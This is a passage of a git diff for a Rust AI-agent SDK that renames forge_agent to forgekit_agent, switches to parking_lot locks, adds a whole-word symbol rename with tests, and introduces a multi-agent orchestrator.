Option, + p95_ns: Option, + is_regression: bool, + ) -> Result<(), String> { + let body = serde_json::json!({ + "session_id": session_id, + "bench_name": bench_name, + "mean_ns": mean_ns, + "median_ns": median_ns, + "p95_ns": p95_ns, + "is_regression": is_regression, + }); + let resp = self + .post_auth(&self.url("/atheneum/bench-runs"), &body) + .await?; + if resp.status().is_success() { + Ok(()) + } else { + Err(format!("forge_bench_run: {}", resp.status())) + } + } + + /// Query atheneum event log. + pub async fn query_events( + &self, + session_id: Option<&str>, + event_type: Option<&str>, + limit: Option, + ) -> Result, String> { + let mut params = vec![]; + if let Some(sid) = session_id { + params.push(format!("session_id={}", sid)); + } + if let Some(et) = event_type { + params.push(format!("event_type={}", et)); + } + if let Some(l) = limit { + params.push(format!("limit={}", l)); + } + let url = if params.is_empty() { + self.url("/atheneum/events") + } else { + format!("{}?{}", self.url("/atheneum/events"), params.join("&")) + }; + let resp = self.get_auth(&url).await?; + + if !resp.status().is_success() { + let status = resp.status(); + let body = resp.text().await.unwrap_or_default(); + return Err(format!("query_events {status}: {body}")); + } + resp.json::>() + .await + .map_err(|e| format!("query_events parse: {e}")) + } + // ── Forge Evidence Methods ──────────────────────────────────────────────── pub async fn forge_prompt( diff --git a/forge_agent/src/evidence/mod.rs b/forgekit_agent/src/evidence/mod.rs similarity index 100% rename from forge_agent/src/evidence/mod.rs rename to forgekit_agent/src/evidence/mod.rs diff --git a/forge_agent/src/evidence/recorder.rs b/forgekit_agent/src/evidence/recorder.rs similarity index 77% rename from forge_agent/src/evidence/recorder.rs rename to forgekit_agent/src/evidence/recorder.rs index 79cca59..8a9e115 100644 --- a/forge_agent/src/evidence/recorder.rs +++ b/forgekit_agent/src/evidence/recorder.rs @@ -1,5 +1,6 @@ use crate::evidence::types::*; use async_trait::async_trait; +use parking_lot::Mutex; #[async_trait] pub trait EvidenceRecorder: Send + Sync { @@ -40,12 +41,12 @@ impl EvidenceRecorder for crate::envoy::EnvoyClient { } pub struct MockEvidenceRecorder { - pub prompts: std::sync::Mutex>, - pub tool_calls: std::sync::Mutex>, - pub file_writes: std::sync::Mutex>, - pub commits: std::sync::Mutex>, - pub test_runs: std::sync::Mutex>, - pub fix_chains: std::sync::Mutex>, + pub prompts: Mutex>, + pub tool_calls: Mutex>, + pub file_writes: Mutex>, + pub commits: Mutex>, + pub test_runs: Mutex>, + pub fix_chains: Mutex>, } impl Default for MockEvidenceRecorder { @@ -57,12 +58,12 @@ impl Default for MockEvidenceRecorder { impl MockEvidenceRecorder { pub fn new() -> Self { Self { - prompts: std::sync::Mutex::new(Vec::new()), - tool_calls: std::sync::Mutex::new(Vec::new()), - file_writes: std::sync::Mutex::new(Vec::new()), - commits: std::sync::Mutex::new(Vec::new()), - test_runs: std::sync::Mutex::new(Vec::new()), - fix_chains: std::sync::Mutex::new(Vec::new()), + prompts: Mutex::new(Vec::new()), + tool_calls: Mutex::new(Vec::new()), + file_writes: Mutex::new(Vec::new()), + commits: Mutex::new(Vec::new()), + test_runs: Mutex::new(Vec::new()), + fix_chains: Mutex::new(Vec::new()), } } } @@ -72,42 +73,36 @@ impl EvidenceRecorder for MockEvidenceRecorder { async fn record_prompt(&self, session_id: &str, record: &PromptRecord) { self.prompts .lock() - .unwrap() .push((session_id.to_string(), record.clone())); } async fn record_tool_call(&self, session_id: &str, record: &ToolCallEvidence) { self.tool_calls .lock() - .unwrap() .push((session_id.to_string(), record.clone())); } async fn record_file_write(&self, session_id: &str, record: &FileWriteRecord) { self.file_writes .lock() - .unwrap() .push((session_id.to_string(), record.clone())); } async fn record_commit(&self, session_id: &str, record: &CommitRecord) { self.commits .lock() - .unwrap() .push((session_id.to_string(), record.clone())); } async fn record_test_run(&self, session_id: &str, record: &TestRunRecord) { self.test_runs .lock() - .unwrap() .push((session_id.to_string(), record.clone())); } async fn record_fix_chain(&self, session_id: &str, record: &FixChainRecord) { self.fix_chains .lock() - .unwrap() .push((session_id.to_string(), record.clone())); } } diff --git a/forge_agent/src/evidence/session.rs b/forgekit_agent/src/evidence/session.rs similarity index 93% rename from forge_agent/src/evidence/session.rs rename to forgekit_agent/src/evidence/session.rs index aa23ed9..0e32eca 100644 --- a/forge_agent/src/evidence/session.rs +++ b/forgekit_agent/src/evidence/session.rs @@ -1,5 +1,6 @@ use crate::evidence::recorder::EvidenceRecorder; use crate::evidence::types::*; +use parking_lot::{Mutex, RwLock}; use serde::{Deserialize, Serialize}; use std::sync::atomic::{AtomicU32, AtomicU64, Ordering}; use std::sync::Arc; @@ -28,7 +29,7 @@ pub struct SessionMetrics { pub struct ForgeSession { recorder: Arc, - metrics: Arc>, + metrics: Arc>, prompt_sequence: AtomicU32, tool_call_count: AtomicU32, file_write_count: AtomicU32, @@ -36,7 +37,7 @@ pub struct ForgeSession { test_run_count: AtomicU32, total_input_tokens: AtomicU64, total_output_tokens: AtomicU64, - total_cost_usd: Arc>, + total_cost_usd: Arc>, } impl ForgeSession { @@ -75,7 +76,7 @@ impl ForgeSession { let session = Self { recorder, - metrics: Arc::new(std::sync::RwLock::new(metrics)), + metrics: Arc::new(RwLock::new(metrics)), prompt_sequence: AtomicU32::new(0), tool_call_count: AtomicU32::new(0), file_write_count: AtomicU32::new(0), @@ -83,7 +84,7 @@ impl ForgeSession { test_run_count: AtomicU32::new(0), total_input_tokens: AtomicU64::new(0), total_output_tokens: AtomicU64::new(0), - total_cost_usd: Arc::new(std::sync::Mutex::new(0.0)), + total_cost_usd: Arc::new(Mutex::new(0.0)), }; let recorder = session.recorder.clone(); @@ -111,11 +112,11 @@ impl ForgeSession { } pub fn session_id(&self) -> String { - self.metrics.read().unwrap().session_id.clone() + self.metrics.read().session_id.clone() } pub async fn end(&self, exit_status: &str) { - let mut m = self.metrics.write().unwrap(); + let mut m = self.metrics.write(); m.ended_at = Some(chrono::Utc::now().to_rfc3339()); m.exit_status = Some(exit_status.to_string()); m.prompt_count = self.prompt_sequence.load(Ordering::Relaxed); @@ -125,7 +126,7 @@ impl ForgeSession { m.test_run_count = self.test_run_count.load(Ordering::Relaxed); m.total_input_tokens = self.total_input_tokens.load(Ordering::Relaxed); m.total_output_tokens = self.total_output_tokens.load(Ordering::Relaxed); - m.total_cost_usd = *self.total_cost_usd.lock().unwrap(); + m.total_cost_usd = *self.total_cost_usd.lock(); } pub fn record_prompt(&self, record: PromptRecord) { @@ -141,7 +142,7 @@ impl ForgeSession { .fetch_add(tokens, Ordering::Relaxed); } if let Some(cost) = r.cost_usd { - *self.total_cost_usd.lock().unwrap() += cost; + *self.total_cost_usd.lock() += cost; } let session_id = self.session_id(); diff --git a/forge_agent/src/evidence/types.rs b/forgekit_agent/src/evidence/types.rs similarity index 100% rename from forge_agent/src/evidence/types.rs rename to forgekit_agent/src/evidence/types.rs diff --git a/forge_agent/src/generate.rs b/forgekit_agent/src/generate.rs similarity index 99% rename from forge_agent/src/generate.rs rename to forgekit_agent/src/generate.rs index ef1063b..f83e22a 100644 --- a/forge_agent/src/generate.rs +++ b/forgekit_agent/src/generate.rs @@ -3,7 +3,7 @@ use crate::llm::LlmProvider; use crate::observe::Observer; use crate::AgentError; -use forge_core::Forge; +use forgekit_core::Forge; use std::path::PathBuf; use std::sync::Arc; diff --git a/forgekit_agent/src/lib.rs b/forgekit_agent/src/lib.rs new file mode 100644 index 0000000..89f3a30 --- /dev/null +++ b/forgekit_agent/src/lib.rs @@ -0,0 +1,237 @@ +//! ForgeKit agent layer - Deterministic AI loop. +//! +//! This crate provides a deterministic agent loop for AI-driven code operations: +//! +//! - Observation: Gather context from the graph +//! - Constraint: Apply policy rules +//! - Planning: Generate execution steps +//! - Mutation: Apply changes +//! - Verification: Validate results +//! - Commit: Finalize transaction +//! +//! # Status +//! +//! All six phases (observe, constrain, plan, mutate, verify, commit) are +//! implemented and tested. The crate also provides a ReAct tool-calling loop, +//! a workflow/DAG engine with rollback, and multi-agent orchestration. + +use std::path::PathBuf; + +pub(crate) mod agent_loop; +pub(crate) mod audit; +pub(crate) mod commit; +pub(crate) mod llm; +pub(crate) mod mutate; +pub mod observe; +pub(crate) mod planner; +pub(crate) mod policy; +pub(crate) mod verify; +pub mod workflow; +#[cfg(feature = "llm-anthropic")] +pub use llm::AnthropicProvider; +#[cfg(feature = "llm-ollama")] +pub use llm::OllamaProvider; +#[cfg(feature = "llm-openai")] +pub use llm::OpenAiProvider; +pub use llm::{LlmConfig, LlmProvider}; + +pub mod chat; + +pub mod prelude; + +#[cfg(feature = "envoy")] +pub mod envoy; + +#[cfg(feature = "envoy")] +pub mod evidence; + +pub(crate) mod context; +pub(crate) mod generate; + +pub use generate::{GeneratedCode, Generator}; + +/// Error types for agent operations. +#[derive(thiserror::Error, Debug)] +#[non_exhaustive] +pub enum AgentError { + /// Observation phase failed + #[error("Observation failed: {0}")] + ObservationFailed(String), + + /// Planning phase failed + #[error("Planning failed: {0}")] + PlanningFailed(String), + + /// Mutation phase failed + #[error("Mutation failed: {0}")] + MutationFailed(String), + + /// Verification phase failed + #[error("Verification failed: {0}")] + VerificationFailed(String), + + /// Commit phase failed + #[error("Commit failed: {0}")] + CommitFailed(String), + + /// Policy constraint violated + #[error("Policy violation: {0}")] + PolicyViolation(String), + + /// Error from Forge SDK + #[error("Forge error: {0}")] + ForgeError(#[from] forgekit_core::ForgeError), + + /// Workflow execution failed + #[error("Workflow failed: {0}")] + WorkflowFailed(String), + + /// ReAct agent loop failed + #[error("ReAct agent failed: {0}")] + ReActFailed(String), +} + +impl AgentError { + pub fn phase_label(&self) -> &'static str { + match self { // nosemgrep: llm-giant-match β€” exhaustive enumβ†’label dispatch, the idiomatic pattern + AgentError::ObservationFailed(_) => "Observe", + AgentError::PolicyViolation(_) => "Constrain", + AgentError::PlanningFailed(_) => "Plan", + AgentError::MutationFailed(_) => "Mutate", + AgentError::VerificationFailed(_) => "Verify", + AgentError::CommitFailed(_) => "Commit", + AgentError::ForgeError(_) => "Forge", + AgentError::WorkflowFailed(_) => "Workflow", + AgentError::ReActFailed(_) => "ReAct", + } + } +} + +/// Result type for agent operations. +pub type Result = std::result::Result; + +/// A handle to a spawned agent task. Await to get the result. +pub struct AgentTask { + handle: tokio::task::JoinHandle>, +} + +impl std::fmt::Debug for AgentTask { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("AgentTask").finish_non_exhaustive() + } +} + +impl AgentTask { + pub async fn await_result(self) -> std::result::Result { + self.handle + .await + .map_err(|e| AgentError::ReActFailed(format!("spawned task failed: {e}")))? + .map_err(AgentError::ReActFailed) + } +} + +impl std::future::IntoFuture for AgentTask { + type Output = std::result::Result; + type IntoFuture = std::pin::Pin + Send>>; + + fn into_future(self) -> Self::IntoFuture { + Box::pin(self.await_result()) + } +} + +// Re-export policy module +pub use policy::{Policy, PolicyReport, PolicyValidator, PolicyViolation}; + +// Re-export observation types +pub use observe::Observation; + +// Re-export loop types +pub use agent_loop::{AgentLoop, AgentPhase, LoopResult}; + +// Re-export audit types +pub use audit::{AuditEvent, AuditLog}; + +// Re-export workflow types +pub use workflow::{ + Dependency, Gate, GateAction, GateLanguage, GateResult, GateRunner, TaskContext, TaskError, + TaskId, TaskResult, ValidationReport, Workflow, WorkflowError, WorkflowExecutor, + WorkflowResult, WorkflowTask, WorkflowValidator, +}; + +/// Result of applying policy constraints. +#[derive(Clone, Debug)] +pub struct ConstrainedPlan { + /// The original observation + pub observation: Observation, + /// Any policy violations detected + pub policy_violations: Vec, +} + +/// Execution plan for the mutation phase. +#[derive(Clone, Debug)] +pub struct ExecutionPlan { + /// Steps to execute + pub steps: Vec, + /// Estimated impact + pub estimated_impact: planner::ImpactEstimate, + /// Rollback plan + pub rollback_plan: Vec, +} + +/// Result of the mutation phase. +#[derive(Clone, Debug)] +pub struct MutationResult { + /// Files that were modified + pub modified_files: Vec, + /// Diffs of changes made + pub diffs: Vec, +} + +/// Result of the verification phase. +#[derive(Clone, Debug)] +pub struct VerificationResult { + /// Whether verification passed + pub passed: bool, + /// Any diagnostics or errors + pub diagnostics: Vec, + /// LLM-generated fix suggestions + pub suggestions: Option, +} + +/// Result of the commit phase. +#[derive(Clone, Debug)] +pub struct CommitResult { + /// Transaction ID for the commit + pub transaction_id: String, + /// Files that were committed + pub files_committed: Vec, + /// Whether `git commit` actually ran (false if git was unavailable) + pub git_committed: bool, +} + +// Agent implementation (split from lib.rs for 1K LOC modularization) +mod agent; +pub use agent::Agent; + +mod builder; +pub use builder::{agent_builder, AgentBuilder, NeedsProvider, Ready}; + +pub(crate) mod agent_config; +pub(crate) mod orchestrate; +pub use agent_config::AgentConfig; +pub use orchestrate::{OrchestrateResult, Orchestrator}; + +pub(crate) mod transaction; + +pub use transaction::{FileSnapshot, Transaction, TransactionState}; + +pub(crate) mod runtime_integration; + +// Re-export runtime types for convenience +pub use forgekit_runtime::{ForgeRuntime, RuntimeConfig, RuntimeStats}; + +#[cfg(test)] +mod orchestrate_tests; + +#[cfg(test)] +mod tests; diff --git a/forge_agent/src/llm.rs b/forgekit_agent/src/llm.rs similarity index 96% rename from forge_agent/src/llm.rs rename to forgekit_agent/src/llm.rs index 53187c2..dc718ff 100644 --- a/forge_agent/src/llm.rs +++ b/forgekit_agent/src/llm.rs @@ -1,7 +1,6 @@ //! LLM provider integration. //! //! Implements the `LlmProvider` trait for multiple backends: -//! - `MockProvider` β€” canned responses for tests //! - `OllamaProvider` β€” local Ollama server (`llm-ollama` feature) //! - `OpenAiProvider` β€” OpenAI chat completions API (`llm-openai` feature) //! - `AnthropicProvider` β€” Anthropic Messages API (`llm-anthropic` feature) @@ -14,6 +13,11 @@ use serde::{Deserialize, Serialize}; /// Async text-completion contract shared by all LLM backends. +/// +/// ## Stability +/// +/// This trait is part of the stable SDK contract. Breaking changes to the +/// signature will be accompanied by a major version bump. #[async_trait::async_trait] pub trait LlmProvider: Send + Sync { /// Return a completion for the given user prompt and optional system prompt. @@ -34,6 +38,12 @@ pub struct LlmConfig { pub stop: Vec, #[serde(default)] pub json_mode: bool, + #[serde(default = "default_max_tool_output_bytes")] + pub max_tool_output_bytes: usize, +} + +fn default_max_tool_output_bytes() -> usize { + 8192 } impl LlmConfig { @@ -45,6 +55,7 @@ impl LlmConfig { top_p: None, stop: Vec::new(), json_mode: false, + max_tool_output_bytes: default_max_tool_output_bytes(), } } @@ -64,13 +75,13 @@ impl LlmConfig { } } -// ── Mock ────────────────────────────────────────────────────────────────────── - -/// Canned-response provider for unit tests. +/// Canned-response provider for tests. +#[cfg(test)] pub struct MockProvider { response: String, } +#[cfg(test)] impl MockProvider { pub fn new(response: impl Into) -> Self { Self { @@ -79,6 +90,7 @@ impl MockProvider { } } +#[cfg(test)] #[async_trait::async_trait] impl LlmProvider for MockProvider { async fn complete(&self, _prompt: &str, _system: Option<&str>) -> Result { diff --git a/forge_agent/src/mutate.rs b/forgekit_agent/src/mutate.rs similarity index 58% rename from forge_agent/src/mutate.rs rename to forgekit_agent/src/mutate.rs index 6e47288..322f0c2 100644 --- a/forge_agent/src/mutate.rs +++ b/forgekit_agent/src/mutate.rs @@ -7,7 +7,6 @@ use crate::transaction::Transaction; use crate::{AgentError, Result}; use std::path::Path; use tokio::fs; -use uuid::Uuid; /// Mutator for transaction-based code changes. /// @@ -16,7 +15,6 @@ use uuid::Uuid; #[derive(Clone, Default)] pub struct Mutator { transaction: Option, - forge: Option, } impl Mutator { @@ -25,14 +23,6 @@ impl Mutator { Self::default() } - /// Creates a new mutator with a Forge instance for SDK-backed operations. - pub fn with_forge(forge: forge_core::Forge) -> Self { - Self { - transaction: None, - forge: Some(forge), - } - } - /// Begins a new transaction. pub async fn begin_transaction(&mut self) -> Result<()> { if self.transaction.is_some() { @@ -56,20 +46,33 @@ impl Mutator { match &step.operation { crate::planner::PlanOperation::Rename { old, new, file, .. } => { - let old_path = file - .as_deref() - .map(Path::new) - .unwrap_or_else(|| Path::new(old)); - let _ = transaction.snapshot_file(old_path).await; - - if old_path.exists() { - let new_path = Path::new(new); - fs::rename(old_path, new_path).await.map_err(|e| { - AgentError::MutationFailed(format!( - "Failed to rename {} to {}: {}", - old, new, e - )) + if let Some(file_path) = file { + // Symbol rename: replace all whole-word occurrences of `old` + // with `new` within the source file. + let path = Path::new(file_path); + transaction.snapshot_file(path).await?; + + let content = fs::read_to_string(path).await.map_err(|e| { + AgentError::MutationFailed(format!("Failed to read {}: {}", file_path, e)) + })?; + let modified = replace_whole_word(&content, old, new); + fs::write(path, modified).await.map_err(|e| { + AgentError::MutationFailed(format!("Failed to write {}: {}", file_path, e)) })?; + } else { + // File rename: rename the file at path `old` to `new`. + let old_path = Path::new(old); + let _ = transaction.snapshot_file(old_path).await; + + if old_path.exists() { + let new_path = Path::new(new); + fs::rename(old_path, new_path).await.map_err(|e| { + AgentError::MutationFailed(format!( + "Failed to rename {} to {}: {}", + old, new, e + )) + })?; + } } } crate::planner::PlanOperation::Delete { name, file, .. } => { @@ -89,22 +92,14 @@ impl Mutator { let p = Path::new(path); let _ = transaction.snapshot_file(p).await; - if let Some(ref forge) = self.forge { - let edit = forge.edit(); - let result = edit.create_file(p, content).await.map_err(|e| { - AgentError::MutationFailed(format!("Failed to create {}: {}", path, e)) - })?; - tracing::debug!("Created file via EditModule: {:?}", result.changed_files); - } else { - if let Some(parent) = p.parent() { - fs::create_dir_all(parent).await.map_err(|e| { - AgentError::MutationFailed(format!("Failed to create dir: {}", e)) - })?; - } - fs::write(path, content).await.map_err(|e| { - AgentError::MutationFailed(format!("Failed to write {}: {}", path, e)) + if let Some(parent) = p.parent() { + fs::create_dir_all(parent).await.map_err(|e| { + AgentError::MutationFailed(format!("Failed to create dir: {}", e)) })?; } + fs::write(path, content).await.map_err(|e| { + AgentError::MutationFailed(format!("Failed to write {}: {}", path, e)) + })?; } crate::planner::PlanOperation::Inspect { .. } => { // No mutation needed for read-only operations @@ -144,31 +139,6 @@ impl Mutator { Ok(()) } - /// Rolls back the current transaction. - /// - /// Takes the transaction, rolls back all changes, and returns Ok. - pub async fn rollback(&mut self) -> Result<()> { - let transaction = self - .transaction - .take() - .ok_or_else(|| AgentError::MutationFailed("No active transaction".to_string()))?; - - transaction.rollback().await?; - Ok(()) - } - - /// Commits the current transaction. - /// - /// Takes the transaction, commits it, and returns the commit ID. - pub async fn commit_transaction(mut self) -> Result { - let transaction = self - .transaction - .take() - .ok_or_else(|| AgentError::MutationFailed("No active transaction".to_string()))?; - - transaction.commit().await - } - /// Extracts the transaction from the mutator. /// /// This is used when transferring the transaction to another component @@ -179,28 +149,6 @@ impl Mutator { .ok_or_else(|| AgentError::MutationFailed("No active transaction".to_string())) } - /// Returns preview of changes without applying. - pub async fn preview(&self, steps: &[crate::planner::PlanStep]) -> Result> { - let mut previews = Vec::new(); - - for step in steps { - match &step.operation { - crate::planner::PlanOperation::Create { path, content } => { - previews.push(format!("Create {}:\n{}", path, content)); - } - crate::planner::PlanOperation::Delete { name, .. } => { - previews.push(format!("Delete {}", name)); - } - crate::planner::PlanOperation::Rename { old, new, .. } => { - previews.push(format!("Rename {} to {}", old, new)); - } - _ => {} - } - } - - Ok(previews) - } - /// Returns a reference to the current transaction (for testing). #[cfg(test)] pub fn transaction(&self) -> Option<&Transaction> { @@ -208,10 +156,47 @@ impl Mutator { } } +/// Replace all whole-word occurrences of `from` with `to` in `text`. +/// +/// A word boundary is any position where the adjacent byte is not an ASCII +/// alphanumeric or underscore. This prevents replacing substrings β€” e.g. +/// renaming `greet` does not touch `greeting`. +fn replace_whole_word(text: &str, from: &str, to: &str) -> String { + if from.is_empty() { + return text.to_string(); + } + let mut result = String::with_capacity(text.len()); + let mut remaining = text; + + while let Some(pos) = remaining.find(from) { + let after = pos + from.len(); + let before_ok = pos == 0 || { + let prev_byte = remaining.as_bytes()[pos - 1]; + !prev_byte.is_ascii_alphanumeric() && prev_byte != b'_' + }; + let after_ok = after >= remaining.len() || { + let next_byte = remaining.as_bytes()[after]; + !next_byte.is_ascii_alphanumeric() && next_byte != b'_' + }; + + if before_ok && after_ok { + result.push_str(&remaining[..pos]); + result.push_str(to); + remaining = &remaining[after..]; + } else { + result.push_str(&remaining[..after]); + remaining = &remaining[after..]; + } + } + result.push_str(remaining); + result +} + #[cfg(test)] mod tests { use super::*; use tempfile::TempDir; + use uuid::Uuid; #[tokio::test] async fn test_mutator_creation() { @@ -231,17 +216,6 @@ mod tests { assert!(mutator.begin_transaction().await.is_err()); } - #[tokio::test] - async fn test_rollback() { - let mut mutator = Mutator::new(); - - mutator.begin_transaction().await.unwrap(); - assert!(mutator.transaction().is_some()); - - mutator.rollback().await.unwrap(); - assert!(mutator.transaction().is_none()); - } - #[tokio::test] async fn test_apply_step_create_snapshots_file() { let temp_dir = TempDir::new().unwrap(); @@ -265,8 +239,9 @@ mod tests { // Transaction should have snapshot assert!(mutator.transaction().is_some()); - // Cleanup - mutator.rollback().await.unwrap(); + // Cleanup via into_transaction + rollback + let txn = mutator.into_transaction().unwrap(); + txn.rollback().await.unwrap(); } #[tokio::test] @@ -295,8 +270,9 @@ mod tests { // Transaction should have snapshot assert!(mutator.transaction().is_some()); - // Cleanup - mutator.rollback().await.unwrap(); + // Rollback via into_transaction + let txn = mutator.into_transaction().unwrap(); + txn.rollback().await.unwrap(); // File should still exist with original content after rollback assert!(file_path.exists()); let content = tokio::fs::read_to_string(&file_path).await.unwrap(); @@ -304,14 +280,13 @@ mod tests { } #[tokio::test] - async fn test_commit_transaction() { + async fn test_into_transaction_commit() { let mut mutator = Mutator::new(); mutator.begin_transaction().await.unwrap(); - let commit_id = mutator.commit_transaction().await.unwrap(); + let transaction = mutator.into_transaction().unwrap(); + let commit_id = transaction.commit().await.unwrap(); - // commit_transaction consumes self, so we can't check mutator after - // But we can verify the commit ID is valid assert_ne!(commit_id, Uuid::default()); } @@ -365,8 +340,9 @@ mod tests { let content = tokio::fs::read_to_string(&file_path).await.unwrap(); assert_eq!(content, "modified content"); - // Rollback - mutator.rollback().await.unwrap(); + // Rollback via into_transaction + let txn = mutator.into_transaction().unwrap(); + txn.rollback().await.unwrap(); // File should be restored let content = tokio::fs::read_to_string(&file_path).await.unwrap(); @@ -374,45 +350,109 @@ mod tests { } #[tokio::test] - async fn test_preview() { - let mutator = Mutator::new(); + async fn test_apply_step_rename_symbol() { + let temp_dir = TempDir::new().unwrap(); + let file_path = temp_dir.path().join("main.rs"); + tokio::fs::write( + &file_path, + "fn greet(name: &str) -> String {\n greet(name)\n}\nfn greeting() {}\n", + ) + .await + .unwrap(); - let steps = vec![ - crate::planner::PlanStep { - description: "Create file".to_string(), - operation: crate::planner::PlanOperation::Create { - path: "/tmp/test.rs".to_string(), - content: "fn test() {}".to_string(), - }, - }, - crate::planner::PlanStep { - description: "Delete file".to_string(), - operation: crate::planner::PlanOperation::Delete { - name: "old.rs".to_string(), - file: None, - }, + let mut mutator = Mutator::new(); + mutator.begin_transaction().await.unwrap(); + + let step = crate::planner::PlanStep { + description: "Rename greet to say_hello".to_string(), + operation: crate::planner::PlanOperation::Rename { + old: "greet".to_string(), + new: "say_hello".to_string(), + file: Some(file_path.to_string_lossy().to_string()), }, - ]; + }; + + mutator.apply_step(&step).await.unwrap(); - let previews = mutator.preview(&steps).await.unwrap(); + let content = tokio::fs::read_to_string(&file_path).await.unwrap(); + // Both whole-word `greet` replaced, but `greeting` untouched + assert!(content.contains("fn say_hello(")); + assert!(content.contains("say_hello(name)")); + assert!(content.contains("fn greeting()")); - assert_eq!(previews.len(), 2); - assert!(previews[0].contains("Create")); - assert!(previews[0].contains("fn test() {}")); - assert!(previews[1].contains("Delete")); + // Rollback + let txn = mutator.into_transaction().unwrap(); + txn.rollback().await.unwrap(); + let content = tokio::fs::read_to_string(&file_path).await.unwrap(); + assert!(content.contains("fn greet(")); } #[tokio::test] - async fn test_mutator_with_forge_stores_forge() { + async fn test_apply_step_rename_file() { let temp_dir = TempDir::new().unwrap(); - let forge = forge_core::ForgeBuilder::new() - .path(temp_dir.path()) - .db_path(temp_dir.path().join("test.db")) - .build() - .await - .unwrap(); + let old_path = temp_dir.path().join("old_name.rs"); + tokio::fs::write(&old_path, "fn old() {}").await.unwrap(); + + let mut mutator = Mutator::new(); + mutator.begin_transaction().await.unwrap(); + + let step = crate::planner::PlanStep { + description: "Rename file".to_string(), + operation: crate::planner::PlanOperation::Rename { + old: old_path.to_string_lossy().to_string(), + new: temp_dir + .path() + .join("new_name.rs") + .to_string_lossy() + .to_string(), + file: None, + }, + }; + + mutator.apply_step(&step).await.unwrap(); + + assert!(!old_path.exists()); + assert!(temp_dir.path().join("new_name.rs").exists()); + + // Rollback + let txn = mutator.into_transaction().unwrap(); + txn.rollback().await.unwrap(); + assert!(old_path.exists()); + } + + #[test] + fn test_replace_whole_word_basic() { + assert_eq!( + replace_whole_word("fn greet() { greet(x) }", "greet", "say_hello"), + "fn say_hello() { say_hello(x) }" + ); + } + + #[test] + fn test_replace_whole_word_preserves_substrings() { + let src = "fn greet() {}\nfn greeting() {}\nlet g = greet_thing;"; + let result = replace_whole_word(src, "greet", "say_hello"); + assert!(result.contains("fn say_hello() {}")); + assert!(result.contains("fn greeting() {}")); + assert!(result.contains("greet_thing")); + } + + #[test] + fn test_replace_whole_word_no_match() { + assert_eq!( + replace_whole_word("fn unrelated() {}", "greet", "say_hello"), + "fn unrelated() {}" + ); + } + + #[test] + fn test_replace_whole_word_empty_from() { + assert_eq!(replace_whole_word("unchanged", "", "replaced"), "unchanged"); + } - let mutator = Mutator::with_forge(forge); - assert!(mutator.forge.is_some()); + #[test] + fn test_replace_whole_word_at_boundaries() { + assert_eq!(replace_whole_word("greet", "greet", "hello"), "hello"); + assert_eq!(replace_whole_word("(greet)", "greet", "hello"), "(hello)"); } } diff --git a/forge_agent/src/observe.rs b/forgekit_agent/src/observe.rs similarity index 99% rename from forge_agent/src/observe.rs rename to forgekit_agent/src/observe.rs index 06ac5ea..af80b62 100644 --- a/forge_agent/src/observe.rs +++ b/forgekit_agent/src/observe.rs @@ -4,7 +4,7 @@ //! relevant context from the code graph to inform intelligent operations. use crate::Result; -use forge_core::{types::SymbolId, Forge}; +use forgekit_core::{types::SymbolId, Forge}; use std::collections::HashMap; use std::sync::Arc; @@ -241,9 +241,9 @@ pub struct ObservedSymbol { /// Symbol name pub name: String, /// Kind of symbol - pub kind: forge_core::types::SymbolKind, + pub kind: forgekit_core::types::SymbolKind, /// Source location - pub location: forge_core::types::Location, + pub location: forgekit_core::types::Location, } /// Extracts a symbol name from a structured query. @@ -295,7 +295,7 @@ async fn llm_parse_query(llm: &dyn crate::llm::LlmProvider, query: &str) -> Resu #[cfg(test)] mod tests { use super::*; - use forge_core::Forge; + use forgekit_core::Forge; use tempfile::TempDir; async fn create_test_observer() -> (Observer, TempDir) { diff --git a/forgekit_agent/src/orchestrate.rs b/forgekit_agent/src/orchestrate.rs new file mode 100644 index 0000000..4ac6337 --- /dev/null +++ b/forgekit_agent/src/orchestrate.rs @@ -0,0 +1,167 @@ +use std::future::Future; +use std::pin::Pin; + +use crate::Agent; +use crate::AgentError; + +static AGENT_COUNTER: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0); + +fn next_agent_id() -> String { + let n = AGENT_COUNTER.fetch_add(1, std::sync::atomic::Ordering::Relaxed); + format!("agent-{n}") +} + +#[derive(Debug)] +pub struct OrchestrateResult { + agent_id: String, + result: Option, + error: Option, +} + +impl OrchestrateResult { + pub fn success(agent_id: impl Into, result: String) -> Self { + OrchestrateResult { + agent_id: agent_id.into(), + result: Some(result), + error: None, + } + } + + pub fn failure(agent_id: impl Into, error: String) -> Self { + OrchestrateResult { + agent_id: agent_id.into(), + result: None, + error: Some(error), + } + } + + pub fn is_success(&self) -> bool { + self.error.is_none() + } + + pub fn agent_id(&self) -> &str { + &self.agent_id + } + + pub fn result(&self) -> &str { + self.result.as_deref().unwrap_or("") + } + + pub fn error(&self) -> Option<&str> { + self.error.as_deref() + } +} + +type AgentFuture = + Pin)> + Send>>; + +pub struct Orchestrator { + agents: Vec<(String, Agent)>, +} + +impl Orchestrator { + pub fn new() -> Self { + Orchestrator { agents: Vec::new() } + } + + pub fn add_agent(mut self, agent: Agent) -> Self { + let id = next_agent_id(); + self.agents.push((id, agent)); + self + } + + pub fn add_agent_with_id(mut self, id: impl Into, agent: Agent) -> Self { + self.agents.push((id.into(), agent)); + self + } + + pub async fn run_sequential( + self, + query: &str, + ) -> std::result::Result, AgentError> { + let mut results = Vec::new(); + let mut current_query = query.to_string(); + + for (id, agent) in self.agents { + match agent.run_react(¤t_query).await { + Ok(answer) => { + current_query = answer.clone(); + results.push(OrchestrateResult::success(&id, answer)); + } + Err(e) => { + results.push(OrchestrateResult::failure(&id, format!("{e}"))); + return Err(e); + } + } + } + + Ok(results) + } + + pub async fn run_parallel( + self, + query: &str, + ) -> std::result::Result, AgentError> { + if self.agents.is_empty() { + return Ok(Vec::new()); + } + + let mut handles: Vec = Vec::new(); + + for (id, agent) in self.agents { + let query = query.to_string(); + handles.push(Box::pin(async move { + let result = agent.run_react(&query).await; + (id, result) + })); + } + + let results = futures::future::join_all(handles).await; + + let mut outputs = Vec::new(); + for (id, result) in results { + match result { + Ok(answer) => outputs.push(OrchestrateResult::success(&id, answer)), + Err(e) => { + let err_msg = format!("{e}"); + outputs.push(OrchestrateResult::failure(&id, err_msg.clone())); + return Err(e); + } + } + } + + Ok(outputs) + } + + pub async fn run_parallel_allow_partial(self, query: &str) -> Vec { + if self.agents.is_empty() { + return Vec::new(); + } + + let mut handles: Vec = Vec::new(); + + for (id, agent) in self.agents { + let query = query.to_string(); + handles.push(Box::pin(async move { + let result = agent.run_react(&query).await; + (id, result) + })); + } + + let results = 